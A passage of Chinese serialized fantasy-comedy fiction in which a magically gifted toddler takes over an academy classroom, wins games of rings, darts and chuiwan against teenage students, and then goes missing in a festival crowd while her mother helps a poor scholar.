他低头看了一眼老师身边那个还没他腿高、眨巴着大眼睛仰着脑袋,好奇地看着自己的小娃娃。
抬起头又看了一眼崔代盛,回过头对着一屋子学生大喊:“医师有没有在院中?快将人请来!”
学生们俱都一愣。
崔代盛皱了皱眉:“喊医师来做什么?”
左正极一脸焦急:“您都病成这样了,如何能不喊医师?”
崔代盛被他气得胡子都抖了:“老夫没病!这就是我小师傅!你的师祖!”
团团挺起小胸脯,努力做出威严的样子:“对啊!就是我!以后我就是你的师祖啦!”
在崔代盛“慈祥”的注视下,左正极几乎是梦游般地、僵硬地躬身行了礼:“见…见过师祖。”
团团学着母亲的样子:“嗯!乖!”
左正极险些坐倒在地。
第86章 坐在桌子上的夫子
崔代盛嗽了嗽嗓子:“小师傅,今日便辛苦您了,在这里教导他们一番,徒弟还有事,少陪,少陪。”
团团学着他在学生们面前的样子,两只小手背在身后,“嗯“了一声,点了下头。
左正极瞪大了眼睛:“老师您……”
然后,眼睁睁看着自家老师施施然离去,背影潇洒得近乎无情。
他低头看了一眼面前还没案桌高的小师祖和一屋子满脸看热闹的表情的学生,头皮一阵发麻。
他深吸了口气,努力挤出个和蔼可亲的笑容,弯下腰,小心翼翼地将一个本子递给那粉雕玉琢的小团子:“小师祖,我正在给学生们批讲他们昨日的课业……”
团团接了过来,看了一眼屋里的学生们,又看了看最前方,单独摆设的那套屋里最高的桌椅:“那是我坐的地方吗?”
“是的,小师祖,那里是夫子的座位。”
“好!”她努力迈着稳健的步伐,走到高大的桌案旁,把那个课业本子扔了上去。
然后,手脚并用地开始爬,摇摇晃晃,吭哧吭哧了好几下,才勉强爬进了那又高又深的大椅子。
屋里响起了一片低低的偷笑声。
左正极则在一旁看得心惊肉跳,小师祖,您可千万别掉下来啊,万一摔着了,我怎么跟老师交代!
团团坐稳后,挺直了小腰板,发现自己只比面前的桌案高出了半个头,都看不见屋里的学生们了,不满意地皱了皱眉头。
她板着小脸,郑重其事翻开了面前的课业本子。
“这个,怎么批啊?”
左正极急忙走到她身边,将案上的毛笔蘸好了墨递给她,满脸堆笑:“小师祖看到有不妥之处,用笔圈出即可,如有教义,还可以写在旁边。”
“哦。”她好奇地接过那支对她来说过长的毛笔,仔细看了看。
下一瞬,左正极的笑容就僵在了脸上。
只见那粉嫩的小手,五指一攥,竟是像抓肉骨头的棒子一般,将笔杆牢牢握在了小拳头里,笔尖还险些戳到自己的腮帮子。
底下瞬间爆出一片压抑不住的大笑。
坐在前排的一个名唤吴启林的学生更是连连拍着桌子,笑得前仰后合:“哎哟喂!我说小夫子,您这握笔的架势!”
“是打算揍这本子一顿吗?哈哈哈!怎么连握笔都不会啊?”
课堂内众人闻言的哄笑声更大了。
左正极脸色尴尬,弯下腰,小声提醒还给她做着示范:“小师祖,这笔,需得用手指捻住,像这样……”
团团不高兴了,把笔啪的一声放在了桌上,抬起小脸,圆溜溜的眼睛瞪着带头起哄的吴启林:“你,笑什么?你写得很好吗?那你写几个字我看看!”
吴启林嗤笑一声:“写就写!小爷我再不济,总比某人连笔都不会拿的强!”
他自信满满地提起笔,架势十足地在纸上开始写。
架势虽足,字却并不好看,旁边的几个学生伸着脖子看过去:“吴兄,你这字练了这么多年,怎么还这个模样啊!”
吴启林的脸瞬间涨得通红:“笑什么笑!小爷我的长处本就不在这笔墨之上!有本事咱们比点儿别的!”
团团歪着头追问:“哦?那你的长处是什么?”
“小爷我玩九连环可是一把好手!国子监里就没人能快过我!”吴启林昂起头,试图找回场子。
“九连环?”团团重复了一遍,大眼睛里闪过一丝好奇,“那好,我就跟你比这个。”
左正极听得眼前一黑,这可是堂堂国子监的课堂啊!比九连环?
他刚想开口劝阻,自己老师对这位小师祖的一脸笑容便出现在眼前,这,自己只是她的徒孙啊,岂有反驳之理?
话到嘴边又咽了回去,只能暗自叫苦。
吴启林没想到这小娃娃居然真敢接招,立刻便取来了一个精致繁复的九连环。
放在手中得意扬扬地掂了掂:“小夫子,你现在认输还来得及,免得一会儿解不开,哭鼻子!”
团团好奇地看着那串银光闪闪的环圈:“给我拿一个!”
一个学生马上上前,将同样的九连环放在了她面前的桌案上。
团团嫌桌子太高,指了指桌子,看了一眼左正极:“抱我上去。”
“啊?”左正极一愣,一脸无奈的听了她的,将她抱上了桌子。
心中不停嘶吼,天哪!这国子监还从来没出过坐在讲桌上的夫子!
团团端端正正地坐在高高的桌案上,很满意,嗯,这下终于能看得清清楚楚,不用仰着脖子了。
“怎么样?小夫子?坐稳了吗?我要喊开始了。”吴启林一副哄孩子玩的口吻。
团团摆弄了两下手里的九连环,就这?
她撇了撇嘴:“你要什么时候开始,就什么时候开始呗。”
吴启林收敛了脸上的笑容:“开始!”
学生们都围在一旁,看着两人。
只见吴启林全神贯注,手指飞快地拨动铜环,叮当作响,手法极为熟练。
再看小夫子,两只小手毫无章法,这里掰一下,那里扯一下,那模样不像在解环,倒像是觉得新鲜,把玩而已。
学生们看得摇头窃笑,这小夫子显然从没玩过,居然还敢跟吴启林比?输定了!
然而,就在吴启林刚解到第三个环的时候,只听“咔嚓”一声脆响。
所有人闻声望去,团团两手高举,手中的九连环竟然已经彻底分解开了!
所有的环套都分离得清清楚楚,正被她提溜在手里,晃来晃去:“我赢啦!”
课室内,顿时安静了,连左正极都瞪大了眼睛,小师祖,解开了?这么快?!
吴启林的动作瞬间僵住,嘴巴张得能塞进一个鸡蛋,难以置信地看着她手里那堆分离的零件。
“这……这不可能!”他失声叫道,“你、你怎么做到的?!你肯定苦练过!否则,不可能比我还快!”
团团将分解的九连环往案桌上一放,发出清脆的撞击声。
她拍了拍小手:“这还用苦练?看一次就知道怎么解了呀。比拿笔简单多了。”
“……”
所有学生这才发出了一片惊叹之声。
“好厉害!这是我见过的最快的一次!”
“我也是!”
“吴启林,你再也不是国子监最快解开九连环的人了!”
吴启林听得脸上火辣辣的,忍不住梗着脖子吼道:“方才不过是小爷我轻敌了!运气!对,你就是运气好!有本事再别的!”
团团看着他,笑嘻嘻的:“好啊,你还想比什么?”
第87章 玩得好开心,大家可以回家啦!“
吴启林眼珠急转,自己有一样稳赢的:“投掷!咱们比投掷飞镖!看谁扎得准!这可是真功夫,不是靠运气就能蒙的!”
投掷需要的是手眼协调和力道控制,他自认练习多年,绝不可能再输给一个小娃娃了。
左正极一听,差点一口气没上来。
这课堂是彻底没救了!从九连环到飞镖,下一步是不是要上房揭瓦了?
他刚想开口训斥吴启林,却见小师祖已经干脆利落地点了头:“好啊!”
他默默地把话又咽了回去。
很快,一个用来练习“射礼”基础、绘着粗糙靶环的小型木制镖盘被搬到了前面。
吴启林为了增加难度,还让人取来一枚中间方孔极小的铜钱,用细绳系着,悬在了镖盘正前方。
飞镖必须穿过铜钱方孔,钉入后面的靶心才算真正得胜。
“瞧好了!”吴启林深吸一口气,拿起一枚小巧的柳叶镖,屏息凝神,瞄准那微微晃动的铜钱,手腕猛地一甩。
“嗖!”
飞镖化作一道银光,精准地穿过那小小的方孔,“咄”的一声,牢牢钉在了镖盘的边缘!
虽未正中靶心,甚至连靶心周围的红色圆圈都没能进,但能穿过晃动的铜钱孔,已是极为了得的准头!
“好!”周围的学生们爆出一阵喝彩,吴启林得意地扬起了下巴,挑衅地看向桌子上坐着的小身影。
团团看了看镖盘,朝着左正极伸出了手:“给我一个。”
左正极小心翼翼地递过去一枚飞镖,心脏都快跳到嗓子眼了,生怕她一个没拿稳扎着自己。
团团又是五指一攥,像抓棍子一样,把飞镖握在了小拳头里。
那架势,别说准头,能不能扔出去看起来都是个问题。
周围再度响起了一片毫不掩饰的嗤笑声。
团团比画了两下,放下了飞镖。
吴启林哈哈一笑:“怎么了,小夫子?直接认输了?”
团团看了他一眼,抬手一指,冲着左正极:“抱我过去,这里太远了。”
左正极认命地抱起她,把她放在了她指的那个桌子上。
团团坐稳了身子,看着吴启林:“这里跟你刚才投出去的地方一样远,我可没占你的便宜哦!”
吴启林都气笑了:“别说跟我一样远,就算你要比我近,我也让着你,只要你能比我准!”
团团看了看那枚微微晃动的铜钱,又看了看自己紧握的小拳头。
然后,抡圆了小胳膊,用力对着铜钱将飞镖甩了出去。
“嗖——啪!”
一道细微的破空声后,紧接着是一声清脆的金属撞击声!
所有人的目光瞬间聚焦在那枚铜钱上。
只见那飞镖竟分毫不差地从铜钱方孔正中穿过,带动铜钱猛烈旋转起来,发出“嗡嗡”的鸣响!
那飞镖去势不减,“咄”的一声闷响,钉在了离靶心的红圈最近的位置。
所有人目瞪口呆,吴启林脸上的得意笑容彻底碎裂,脸上只剩下了震惊和茫然:“怎么会?怎么可能?”
他咬了咬牙,还是不服:“我不服!再来一次!”
团团毫不在意:“行啊!再来几次你都是输啦!”
吴启林哼了一声,稳住心神,再次将飞镖投了出去,依旧穿过了铜钱,还稳稳地钉在镖盘正中的红色靶心上,比上次还准!
他呼出一口气,一颗心放进了肚子里,我都已经投中靶心了,你还能怎么赢我?这一把我赢定了!
“真准啊!”
“小夫子这次完了,就算还能投中,那靶心那么小,地方都已经被占了,想平手都不可能了!”
“可不是,小夫子的大话说早了哦!”
“就是!还投几次都是她赢!牛皮吹破喽!”
“吴启林,你可以啊!怎么练的?居然能有这准头!”
周围赞美声四起,吴启林得意扬扬地冲着团团比画了一个请的姿势:“来吧,小夫子,该你了。”
左正极看了看团团,这小孩子,不会哭鼻子吧?
团团歪起小脑袋看了看那靶心上的飞镖,在桌子上站了起来,冲着左正极又伸出了手:“再给我一个!”
左正极无奈
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地又递给了她一支飞镖:“小师祖,你站稳些,别掉下来,摔着了可不是玩的!”
团团看了看那靶心,再一次扔出了手中的飞镖。
只见那飞镖犹如离弦之箭一般稳稳地穿过铜钱,将吴启林方才投中的那枚飞镖,从尾部劈开、撞飞了出去,自己则取而代之,深深地钉入了靶心最中央的位置!
团团高兴地在桌子上蹦了起来:“我赢啦!我赢啦!”
这一次,短暂的平静后,课室内爆发出了一阵热烈的掌声和惊叹。
“太厉害啦!小夫子!”
“还能这样赢!怎么想的?”
“吴启林,这回你不服不行啦!”
吴启林彻底服气,对着团团深深一揖:“小夫子!我服啦!”
所有的学生也都没犹豫,跟着他对着团团行礼:“小夫子!”
左正极腿一软,下意识地扶住了旁边的案桌才勉强站稳。
他看了一眼还在桌上开心地手舞足蹈的小娃娃,又看了眼靶心上那枚还在微微颤动的飞镖,脑子里一片空白,
这哪是什么小师祖,这分明是个来砸场子的活祖宗啊!
团团站在桌子上,比他们还高,满意地点了点头:“乖!今天玩得好开心,大家可以回家啦!”
众人惊呆,回,回家?
按平时的时间,现在离散学还早着呢!都不约而同地都看向了左正极。
左正极尴尬地提醒团团:“小师祖,他们今日的课业还没……”
团团一脸奇怪:“我徒弟让我教导他们,我教完了啊!当然可以回家啦!”
左正极想起老师的话,彻底放弃,对着学生们道:“既然,小师祖发话了,那今日到此为止!都回去吧!功课不许懈怠!”
学生们大喜过望,纷纷高喊:“多谢小夫子!”高高兴兴地全散了。
团团看着左正极:“三哥哥呢?我要跟他一起回家。”
左正极把她从桌子上抱下来,领着她找到了崔代盛。
崔代盛急忙让人去另一个课室里将萧宁珣叫了出来,兄妹俩登上了回府的马车。
第88章 祭酒大人快回来
团团一上车便问:“三哥哥,你去哪儿了,为什么没跟我在一起?”
萧宁珣答道:“国子监里啊,按照学业的高低,分为上舍,内舍和外舍三个等级班。”
“我在上舍班里,你去的是外舍班。”
“哦!懂啦!”然后,团团就叽叽喳喳地给萧宁珣讲了刚刚发生的事,萧宁珣听得目瞪口呆,天哪!
妹妹竟然坐在夫子授课的讲台上!还带着学生们解九连环,投飞镖!左夫子居然没管吗?
团团却兴奋得很:“三哥哥,国子监真好玩!明日咱们还去!”
萧宁珣:“嗯……好。”
晚膳时,团团又是一顿滔滔不绝,家里人听得都不禁笑着摇头,这孩子!真是将国子监搅和的不轻。
萧元珩看了眼大儿子:“远儿,你此次出行,可将商行事情都安排妥了?”
萧宁远回道:“都安排妥了,父亲,有伯父在那里盯着,不会出岔子的,您放心。”
“大哥哥,伯父是谁啊?”团团问道。
“伯父啊,是咱们王府一位旁支长辈,为人正直公正,我没去商行时便是他在打理,等他回来,团团就见到了。”
“哦,原来除了皇伯父,我还有一个伯父!”
“对喽!来,吃口这个。”萧宁远夹了一块排骨放在了团团碗里。
萧元珩道:“既然商行无事,你的手如今也好了,明日便同你三弟和团团一起去国子监吧。你本就是那里的学生,也该回去继续你的学业了。”
“是!父亲。”萧宁远忙道。
团团开心了:“大哥哥也去?太好啦!我们三个一起去上学!娘亲!原来上学这么好玩啊!”
程如安看着女儿:“国子监出了名的严格,也就是你……罢了,有崔祭酒在,他都不说什么,旁人想必也不敢多言。”
次日一早,兄妹三人一同来到了国子监。
萧宁远望着那高大的门楣:“几年没见,这里一如往昔啊!“
“宁远兄?你来了?你的手好了?”吴启林看到他,语气亲切。
团团很奇怪:“大哥哥,你认识他?”
萧宁远答道:“我在这里读书时,跟他的哥哥吴启木是同窗,这小子那时候经常来找他哥,就认识了。”
“你哥现在如何?你呢?也进了国子监啊,有没有好好读书?”
吴启林眉头一皱:“宁远兄,几年不见,你真是半点没变,比我哥还啰嗦!”
他一眼看到了团团,马上行了个礼:“小夫子!今儿我们订了锤丸的场地,你会不会?不会我教你!”
“锤丸?那是什么啊?”团团听都没听过。
“锤丸啊!就是……”吴启林牵起团团的手,转身领着她边讲边走。
萧宁远和萧宁珣两人互相看了一眼:“这小子什么时候跟团团这么亲近了?”
“不知道,没安好心!”
“哼!”两人同时重重地哼了一声,都有一种,自家妹妹被偷走了的感觉,快步跟了上去。
萧宁珣劈手便将妹妹的手夺了过来,吴启林白了他一眼:“小夫子,那我先去了啊,你赶紧过来。”说完小跑着就走了。
兄妹三人刚走到锤丸场外,便听到里面传来一阵激烈的争吵声。
“外舍的废物也好意思来?别污了这场地!”
“就是!滚回你们的学堂练字去!”
“这时间就该让给我们内舍!你们书都没念好,来了也是浪费!”
萧宁远眉头一皱,大步流星就寻声走了过去。
萧宁珣暗道不好,连忙牵着团团跟上。
只见入口处,两拨人正泾渭分明地对峙着。
一方人数较少,被挤在角落,个个面带愤懑不甘,正是以吴启林为首的外舍众人。
而另一方则人多势众,气焰嚣张,为首的少年是内舍班成绩最好的学生,名唤曹松辉,此刻,他正用一根手指极其无礼地戳着吴启林的胸口。
“曹松辉!你嘴巴放干净点!祭酒大人定下的规矩,谁先预订的,谁便可以用,凭什么不让我们进?”吴启林一把拍开对方的手,脸色铁青。
“规矩?”曹松辉嗤笑一声,环视自己内舍班的同窗们,引来一片附和的笑声。
“规矩是给配得上的人定的!你们外舍班次次考核垫底,文不成武不就,一群靠着家里混日子的纨绔,有什么资格占用场地?把这时间让给我们内舍,才是物尽其用!”
“你!”外舍班众人气得脸色通红,却一时语塞,他们的成绩远远不如内舍班,也确实是事实。
“谁说他们没资格?”
一道清脆的奶音响起,所有人循声望去。
只见外舍班的学生们自动分开了一条道,一个穿着鹅黄色小襦裙、脑袋上顶着两个小揪揪的女娃娃,牵着萧宁珣的手,一步一步地走到了人群里。
团团小小一只,站在一群高大的少年中,显得格外可爱。
她仰起小脸看着高了她很多的曹松辉,重复了一遍:“谁告诉你,他们没资格?”
曹松辉先是一愣,待看清是个还没他腰高、奶呼呼的小娃娃时,顿时气笑了:“你是打哪儿来的小娃娃?”
“国子监也是你能胡闹的地方?赶紧回家找妈妈吃奶去!”内舍班的学生们全跟着哄笑起来。
“放肆!”萧
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宁珣脸色一沉,团团轻轻拉了一下他的衣袖。
外舍班的学生们此时却像是找到了主心骨,纷纷挺起了胸膛。吴启林更是大声道:“曹松辉你放尊重点!这是我们外舍的小夫子!”
“小夫子?哈哈哈哈!”曹松辉像是听到了天大的笑话,笑得前仰后合,“你们外舍果然是烂泥扶不上墙,竟然认一个吃奶的娃娃当夫子?真是滑天下之大稽!”
团团眨了眨大眼睛,你个坏蛋,居然敢欺负我的学生们!
“你堵在这里,不就是觉得,你们比他们强吗?”
“是又怎样?”曹松辉昂起下巴,“论成绩,论六艺,我们内舍哪样不碾压外舍?他们就是一群废物!”
团团小手一指场地:“好啊!那咱们就比一比。你们赢了,他们从此再也不进这里。”
她顿了顿,乌溜溜的眼珠扫过曹松辉和他身后一众内舍班的学生:“他们赢了,以后见着他们,你们都必须绕着走!”
这话一出,不仅是内舍的人,连外舍的人都愣住了。这赌注,有点儿狠啊!
曹松辉冷笑一声:“比?跟你一个路都走不稳的小娃娃比?赢了也是胜之不武!”
“不敢比?”团团歪了歪头,“胆小鬼!连个路都走不稳的小娃娃都怕?”
“谁怕了!”曹松辉被激怒,少年心性最受不得激,大喊一声,“比就比!我们内舍和你们外舍各出一个人来比!”
“可以啊,你很怕吗,声音这么大!”团团捂了捂耳朵。
曹松辉被她气得说不出话来,答应你怎么还这么多事儿!
吴启林一看,小夫子出手,稳了!
他上前一步,对着曹松辉就吼:“比就比!谁怕谁!不过赌注得改改!我们输了,从此不来这里!你们要是输了……以后见了我们小夫子,都得恭恭敬敬喊一声祖师爷!”
曹松辉一愣,这什么赌注?不禁有些犹豫,他身后的内舍众人却不干了:“曹兄,怕什么!咱们内舍还能输给他们?”
“就是!跟他们赌!”
是啊,话都说到这个份上了,众目睽睽,岂能露怯?
他咬牙切齿地一口应了:“好!一言为定!”
团团小手一指吴启林:“你来比!”
吴启林顿时呆住,什么?不是小夫子比,是我?
“我?我来比?”
当左正极闻讯匆匆赶来时,看到的便是这样剑拔**张、赌约已成的场面,他眼前一黑,差点当场晕过去。
完了!祭酒大人,您快回来吧!
小师祖若是赢了,整个内舍都要喊她祖师爷了!她,她这是要掀了您的国子监啊!
第89章 你是我的人
团团看着一脸惊呆的吴启林:“对啊,你来跟他们比!”
吴启林面露难色,俯身在她耳边轻声道:“小夫子,我锤丸不行啊,他们都知道。”
团团愣了一下:“你九连环和飞镖很好啊,这个不行?”
吴启林尴尬地点了点头:“锤丸需场地才能练习,我才练过几次,确实不行。”
外舍的学生们都是一脸沮丧:“别的他还行,锤丸他可不成!”
“换个人比吧,小夫子!”
“对啊!让他上还不如直接认输了算了。”
吴启林的脸渐渐红了,自己确实技不如人,早知道刚才就不赌那么大了。
团团想了想,低头打开了腰间的绣囊,掏弄了半天,最后摸出一根颜色黯淡、甚至都有些起毛了的旧丝绦,像是从哪个废弃的香囊上脱落下来的缀饰。
“系上。”团团将丝绦递给他,“你是我的人,我说你能赢,你就一定能。”
吴启林一愣,看着那其貌不扬甚至有些寒酸的小玩意儿,哭笑不得,这能顶什么用?
寓意吉祥?小夫子你这是当小孩子过家家呢!
但是,当他对上面前那双亮晶晶的大眼睛,却鬼使神差地接了过来,听话地将那根旧丝绦系在了手腕上。
萧宁远不明所以,萧宁珣却心中一跳。
“好了没有?你们还要准备多久?”曹松辉没好气地催促。
“等等!”萧宁远开口,“既要比试,便当有裁决之人,否则如遇纷争,该听谁的?”
众人听了,都点头认可,确实如此。
团团看向左正极:“你来吧。“
“我?”左正极心想,还有我的事儿?
团团一脸奇怪:“对啊!你不是老师吗?你来才对啊!”
左正极一想,确实如此:“是。”
他硬着头皮,引着两班人马步入“画埒”,也就是国子监内专事捶丸之戏的场地。
一片经心修饰过的开阔地上,地势微有起伏,其间刻意布置着浅洼、疏草与零散石砾为障碍。
远处的地上,挖有数个浅穴,每个穴旁皆插着一面不同颜色的小彩旗,这便是“球窝”也称“球洞”。
左正极清了清嗓子,提高了声音:“既是比试,便依惯例,双方各遣一人,依次击球,每洞以用杖数少者为胜,先胜三洞者即为赢家。”
学生们都一脸兴致勃勃,这锤丸比赛,规则虽简单,却极考校手上精准的巧劲与审度地形的眼力,难度极大。
内舍班那边,推举出来的正是曹松辉。
而外舍班这边,便是吴启林了。
两人才刚在赛场外互相怒吼,如今赛场上再次对上,真可谓是针锋相对。
吴启林深知自己什么水平,紧张得手心沁汗,心跳如鼓。
捶丸绝非易事,力道稍偏,木球便不知会滚去哪里的障碍之后,需耗费更多的杖数才能接近球洞,那便输了。
曹松辉曾经参加过多次锤丸的比试,自己这两下子,怕是……
他手都有些颤抖地接过了同伴递来的“球杖”,一根顶端略带弯角的木杖。
正惶惑间,奇妙的事情发生了!
就在他的手握住球杖瞬间,一股难以言喻的清凉感倏地从手腕窜入四肢百骸,方才的焦躁、紧张、惊慌顿时消失无踪。
甚至连周遭的喧哗嘲弄声都瞬间安静了。
手中的球杖仿佛成了自己手臂的延伸。
抬眼望去,前方地势的每一处起伏、每一个障碍、球洞的方位皆瞬间了然于胸,一种前所未有的掌控感油然而生。
吴启林惊讶得瞪大了眼睛,这,这是?
团团在场地外冲着他大喊:“吴启林!赢他们!”
外舍班的学生们也都纷纷为他呐喊助威。
“好好打!”
“赢他们!”
“别让他们看不起咱们!”
曹松辉哼了一声,一脸不屑。
左正极大喊一声:“开始!”
曹松辉率先击球。
只见他屏息凝神,挥动球杖,“啪”一声将木球击出。
那球滚跃一番,绕过一处浅洼,最终停在了距离球洞仅有五六步远的地方,引来内舍班的一阵喝彩。
“曹兄,准头不错啊!”
“再来一仗就能拿下啦!”
“两杖一洞,咱们赢定啦!”
萧宁远一脸担忧,萧宁珣低头看了一眼团团,只见妹妹根本没有在看,而是蹲下了身,聚精会神的
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盯着地上一堆忙忙碌碌正在搬家的小蚂蚁。
“该你了!”曹松辉略带得意地催促了一声。
吴启林深吸一口气,从来没有如此信心十足过,心中无半点波澜。
他目光如尺,丈量着从自己脚下到球洞的路径,要越过一小片草区,且地面微有倾斜。
他摆定姿势,挥杖!击球!
动作流畅,一气呵成!
木球应声飞出,并未高高抛起,而是贴地疾行,精准地滚过草区,借着那微斜的地势巧妙转向,急速滚动,不偏不倚,“咕噜”一声,径直滚入了插着彩旗的球洞之中!
“啊?一杖进洞?!”四周一片惊呼,都喊了起来。
“这运气也太好了!”
“是啊!我玩了几年都没能一杖进洞过!”
捶丸极重技巧,一杖入洞堪称神乎其技,便是老手运气稍差一点也不可能做得到。
曹松辉脸上的笑容僵住了。
吴启林自己也愣住了,难以置信地看了看自己的手。
左正极愕然片刻,才高声大喊:“外舍班,首洞胜!”
曹松辉呸了一声:“狗屎运罢了,我就不信,他能每次都一杖进洞!”
接下来的比赛,吴启林越战越勇。
无论球位多么刁钻,距离多么遥远,他总能精准地判断地势,击球越来越轻松写意,木球听话得像是长了眼睛,接连不断地以最少的杖数滚入球洞!
曹松辉则越来越焦躁,不但没能击出更好的球,连平日的水准都没发挥出来,越打越糟。
内舍班的学生们渐渐没了声音。
毫无悬念地,左正极高声宣布:“外舍班,三洞皆胜!”
外舍班的学生们爆发出热烈的欢呼,全都冲进了场地,激动地将吴启林团团围住,七手八脚地拍打他。
“行啊!吴兄!什么时候练的?”
“就是!这么厉害,以后教教我们啊!”
“真给咱们外舍班争气啊!吴兄!好样的!”
眼看所有人都对自己刮目相看,连左正极看自己的眼光都和以往不一样了,吴启林兴奋不已。
他冲到场外,拉起团团的小手,走到曹松辉的面前:“认赌服输,曹兄,喊吧!”
第90章 团团丢了
曹松辉脸色铁青,紧咬着后槽牙,低头看着面前的小团子。
他闭上眼,深吸了口气,强忍住巨大的**感,从喉咙深处艰难地挤出三个字:
“祖……师爷。”
声音虽不大,却清晰得让全场的人都听得清清楚楚。
团团满意地点了点小脑袋,老神在在地应了一声:
“嗯,乖。”
曹松辉猛地睁开眼,脸上血色尽褪,头也不回地推开人群,狼狈不堪地冲了出去。
内舍班的学生们也个个灰溜溜地迅速散去。
外舍班众人扬眉吐气,欢呼雀跃,簇拥着吴启林和小夫子,浩浩荡荡地占领了夺回来的的画埒。
“哎呀!不好!“吴启林突然一声大喊。
萧宁远回头问道:“怎么了?”
吴启林低头四处寻找:“小夫子给我的那条丝绦不见了!”
他着急起来,甚至蹲下身在地上摸索,“定是方才掉在哪里了!那可是小夫子给我的幸运绳啊!掉哪儿了?”
“不过是一根旧绳子,”萧宁珣语气平静,“方才那么多人走动拥挤,便是掉了,此刻也不知被踩到哪个角落去了,哪里还寻得回来?又不是什么要紧的东西,别找了。”
其他几个学生应声附和:“就是,找它干嘛?”
“走走走!吴兄,今日你定要教教我,这锤丸怎么击球……”
吴启林闻言虽有些遗憾,却也没再放在心上:“也是。”和伙伴们一起向前走去。
萧宁珣目光深邃,把团团抱了起来:“你真厉害啊!小团团!”
团团得意扬扬地笑了起来,酒窝深深。
除了萧宁珣,谁都没有注意到,在吴启林最后一杖击出后,系在他手腕上的那条丝绦,便骤然消失不见了。
翌日,恰是六月初六,晒书节。
整个京城都浸润在盛夏明媚的阳光里。
依照习俗,今日家中有书籍字画的,都要拿出来暴晒,防蠹除潮。
宁王府也不例外,萧宁远和萧宁珣带着小厮们,将书房里的藏书都搬至廊下晾晒。
团团好奇地跟在一旁,看哥哥们小心翼翼地整理着堆成了一座一座小山似的书籍。
“为什么要把它们都搬出来啊?要给他们换一个家吗?”团团很奇怪。
萧宁珣笑着解释,“每年的六月初六,是天贶节,也叫晒书节。百姓们晒衣物,道观里晒经卷,文人墨客晒藏书,以避虫蠹,家家如此。“
“对了,因为都要晒书,所以,今日书市大街人会格外的多,很多文人学生都会趁机去寻找平日轻易见不到的好书。”
“街市上,还会有许多摊贩都出来做生意,可热闹了。”
团团其他的没怎么听,唯有“热闹”两字,听得眼睛一亮。
她立刻扯住了身边程如安的裙摆,仰起小脸:“娘亲,娘亲!咱们出去玩好不好?”
程如安微笑应允。
萧宁远摆了摆手:“母亲,你们去吧。我这里书太多,又都好几年没晒过了,今日得好好整理一下才行。”
于是,程如安便带着萧宁珣和团团,登上马车来到了京城最繁华的南街书市。
马车停在街口,三人下了车,缓步走在大街上,刘嬷嬷紧随其后。
今日的街市确实比往常更为熙攘。
街道旁不少书肆都将书架搬至了门外,琳琅满目的书卷在日光下铺开,墨香混着阳光的气息,萦绕在喧闹的人声中。
更有许多文人学子流连其间,品评切磋,俨然一场小小的雅集。
团团被萧宁珣小心翼翼地护在怀里,随着人流向前走,一双大眼睛滴溜溜地转,看什么都觉得新奇。
忽然,前方传来了一阵争吵声,引起了众人的注意。
一家规模不小的书肆“翰墨斋”门前,老板正在训斥着一个手握书卷的书生。
“你这穷酸,没钱买书就莫要在此碍眼!这都看了半日了,书都被你摸脏了!”
那书生穿着一件洗得发白的儒袍,身形瘦弱,面色憔悴,手中紧紧攥着一本旧书,脸上尽是哀求与不舍:“掌柜的,求您再容我片刻,片刻就好。”
“此书上的批注精妙绝伦,在下实在难以释卷,我这就看完,不会耽误您做生意的。”
周围人指指点点,议论纷纷。
“给他看会儿怎么了?反正你这书也得摆出来晒。”
“就是,何必为难他。”
“话不能这么说,人家老板做生意的,他买不起又不放下,要是有别人想买呢?你让老板这生意还怎么做?”
萧宁珣
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心细,在程如安耳边低声道:“母亲,这书生看起来家境甚是贫寒,他喜爱这书,只是囊中羞涩。”
团团拉了拉哥哥的手,仰起头问:“三哥哥,那个人好可怜呀,他看的是什么书啊?”
萧宁珣抬头看了一眼:“似是前朝一位大儒注解的《春秋》孤本,确实难得。”
团团闻言,又拉了拉程如安的衣袖:“娘亲,咱们帮帮他吧?”
程如安本就心善,见那书生人虽落魄,眉宇间却有一股清正之气,不似奸猾之徒,便点了点头。
她上前一步:“掌柜的,这位公子所阅之书,多少钱银?我替他付了。”
掌柜的见她衣着气度不凡,身后还跟着仆从,立刻换了副笑脸:“哎呦,这位夫人真是心善。这书原是小店珍藏的孤本,本来是要卖三两银子的,既然您开口,给二两便可。”
那书生闻言,猛地抬头,眼中闪过惊喜与感激,却又连忙摆手:“不可不可,无功不受禄,怎好让夫人破费……”
“无妨。”程如安示意刘嬷嬷把钱付了,“再给他二十两银子。”
刘嬷嬷闻言又掏出了一个鼓鼓的荷包,递到书生手中。
程如安道:“这些银两,你拿去,找个地方好生落脚。将来若能考个功名,也是好的。”
那书生百般推拒不肯收下。
程如安微微一笑:“京城纸贵,收下吧,助你安心读书,也算值得。”
书生眼眶瞬间红了,嘴唇哆嗦着,竟是说不出话来,只是深深一揖到地。
周围人群见状,纷纷赞叹:“这位夫人当真仁善!”
“公子,还不快谢过恩人!”
“这才是积善之家啊!”
那书生哽咽道:“晚生柳云逸,多谢夫**恩!不知恩人的府上是?他日我若高中,必报此恩!”
刘嬷嬷微笑道:“我家夫人是宁王府上的。”
柳云逸将“宁王府”三字牢牢刻在心里,再三拜谢,这才捧着书和银子,感激涕零地消失在人群之中。
人群渐渐散去,程如安看着那书生远去的背影,含笑低头:“团团,咱们也……”
话未说完,她的笑容便僵在了脸上。
方才还扯着她裙角、站在她身侧的团团,此刻竟不见了踪影!
第91章 叫醒你不是让你哭啊
程如安只觉得一股寒气瞬间从脚底窜上了天灵盖,眼前猛地一黑,声音都变了调:“团团?!团团呢?!”
萧宁珣闻言猛地回头,视线飞速扫过四周,人来人往,摩肩接踵,哪里还有妹妹的身影!
“母亲!团团刚才还在这里!”萧宁珣的脸色霎时变得苍白,声音都控制不住的有些颤抖。
刘嬷嬷忙不迭地扒拉着周围地人流:“小小姐!小小姐!”
方才所有人的注意力都被那书生吸引,竟无人察觉,一个活生生的小娃娃,竟然就这样不见了!
盛夏的阳光照在身上,程如安却只觉得浑身发冷,如坠冰窟。
她的团团……丢了!
程如安脚下一软,踉跄了一步,险些摔倒,刘嬷嬷和萧宁珣眼疾手快,将她一把扶住。
“团团!我的团团!”她声音凄惶,再无平日半分从容镇定,猛地推开两人,发疯似的在周围人群中穿梭、呼喊,“团团!你在哪里?答应娘亲一声啊!”
萧宁珣脸色惨白,强压下了心头巨大的恐慌,对刘嬷嬷急道:“快!往东、西两个方向找!问问周边摊贩可曾看见!”
自己则追上了几乎崩溃的母亲,沿着来路一寸寸的搜寻。
逢人便比划着问:“可曾见过一个这么高,穿着一身粉色襦裙、扎着两个小揪揪的女娃娃?”
然而,晒书节导致街上人流如织,方才那书生引起的骚动早已平息。
